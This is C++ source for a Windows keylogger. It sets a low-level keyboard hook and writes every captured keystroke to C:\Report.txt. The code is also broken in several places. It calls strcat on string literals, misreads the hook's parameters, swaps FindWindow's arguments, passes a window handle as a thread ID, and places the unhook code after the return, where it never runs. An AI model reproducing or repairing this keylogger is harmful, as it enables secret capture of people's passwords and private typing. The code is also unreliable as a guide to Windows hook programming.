#include <windows.h>
#include <stdio.h>
#include <string>

HHOOK hHook;
LRESULT CALLBACK keyboardhook(int nCode, WPARAM wParam, LPARAM lParam);
HHOOK WINAPI SetWindowsHookEx(int idHook, HOOKPROC lpfn, HINSTANCE hMod, DWORD dwThreadId);
BOOL WINAPI UnhookWindowsHookEx(HHOOK hHook);
FILE *f1;
HWND hYWnd ;

LRESULT CALLBACK keyboardhook(int nCode ,WPARAM wParam, LPARAM lParam)
{

    char ch;
    WORD w;
    UINT scan;
    strcat("C","\\Report.txt");
    if ((lParam & 0x4000000) && (wParam==HC_ACTION))
    {

        if ((wParam==VK_TAB)||(wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam>=0x2f ) &&(wParam<=0x100))
        {
            if (!(f1=fopen("C:\\Report.txt","a+")))
            {
                MessageBox(NULL, L"Cannot Open File", L"Error", MB_ICONWARNING);
                return 0;
            }
            if (wParam==VK_RETURN)
            {
                ch='\n';
                fwrite(&ch,1,1,f1);
            }
            else
            {
                BYTE ks[256];
                GetKeyboardState(ks);
                scan=0;
                ToAscii(wParam,scan,ks,&w,0);
                ch = char(w);
                fwrite(&ch,1,1,f1);
                if (wParam==VK_TAB)
                {
                    ch='\n';
                    fwrite(&ch,1,1,f1);
                }

            }
        }
        fclose(f1);
    }

    return (CallNextHookEx( hHook, nCode, wParam, lParam ));

}
BOOL InstallHook()
{
		hYWnd = FindWindow(L"Untitled - Notepad", NULL);
	    hHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)keyboardhook, NULL,hYWnd);
		if (hHook == NULL)
		{
			return 0;
		}

		return 1;
}
BOOL UninstallHook()
{
    if ((hHook != NULL) && (UnhookWindowsHookEx(hHook) == TRUE))
    {
        hHook = NULL;
        return TRUE;
    }
    return FALSE;
}
int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszCmdLine, int nCmdShow)
{
	if (InstallHook() == FALSE)
    {
        MessageBox(0,L"Can not install hook!",L"Error", 0);
        return -1;
    }
	MessageBox(0,L"Install hook complete",L"Compelete",0);
    MSG msg;
    BOOL bRet;

    while((bRet = GetMessage(&msg, NULL, 0, 0)) != 0)
    {
        TranslateMessage(&msg);
        DispatchMessage(&msg);
	}
	 return 0;
	MessageBox(0,L"Unstall hook complete",L"Compelete",0);
	UninstallHook();
}